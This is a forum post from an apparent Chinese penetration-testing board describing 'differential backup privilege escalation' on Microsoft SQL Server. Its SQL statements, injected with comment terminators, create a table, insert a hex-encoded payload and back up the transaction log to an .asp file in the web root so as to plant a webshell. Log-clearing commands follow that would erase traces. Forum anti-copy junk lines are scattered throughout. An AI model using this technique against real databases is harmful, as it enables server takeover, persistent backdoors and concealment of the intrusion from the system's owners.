中国网络渗透测试联盟
标题:
差异备份提权
[打印本页]
作者:
admin
时间:
2012-9-15 14:38
标题:
差异备份提权
select * from master.dbo.sysdatabases 列出所有列的记录
$ b) \( U! i* F3 V Z5 G) a! v
) W) N! j( n7 _9 |4 G( w
select name from master.dbo.sysdatabases 仅列出name列的记录
' d# r% y, H, t2 m3 p& \% i
% R. w0 B3 e, l8 U
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
; q7 v/ w* _8 d" d
/ @$ s# q( V5 p
alter database 数据库名 set RECOVERY FULL--
7 L/ {# Y, [2 v4 |& w* H4 W3 f1 o
/ S y; {7 D& x& i4 _# N; u
create table cmd (a image)-- \**cmd是创建的临时表
- r- e- j- v3 E) e( W% `
, M3 x' d4 P. l. ^+ y$ j7 K
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
2 P# }7 C0 V, m$ y# X+ a9 d
3 b9 t5 z" R0 U: a
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
5 ?/ o$ Q S+ F1 }: C! t4 |
9 X/ T' W! U4 t% Z C3 t( n
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
4 P2 m. U8 R+ E) [" c$ C
/ m7 o, G( {9 {' \ Y# p7 E4 O
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
7 k1 {$ y& d6 z' S8 P! k' Z
8 q# } `% @, }4 K! o8 ^' r6 u
drop table cmd--
( m; ~! o" O! y) Y% [$ `9 a! K
) T5 E1 K1 \/ z& ~
9 {! y( _% R1 a4 I
f:\
3 Z/ ?# h( c& L2 A( C
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
- _( S; \' F8 W- F) @5 q/ J
' o8 b( ]( q' y9 k, p, W
最好多加几个回车0d0a,要不会出错哈
8 e4 V: M$ g4 H
" F# S' U# t7 `, q8 _- r. H
$ F w7 i9 X+ w# k* J
SQL Server日志清空方法
( q1 Z( t; `3 B/ N# `. G8 d* H6 ^) T& @
5 {9 n9 S) `; e1 M( }# T! m% X
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
; Y" r- x. r' }
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
" @ _2 z) h4 Z8 {* s: |
. {- w2 {8 b2 Q" v0 M7 V9 d
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
x( E* D ]3 o4 h) C) _
& A I, T& @1 ?: o) p) E! m
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
- z- h/ \2 Z4 o9 [ V
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2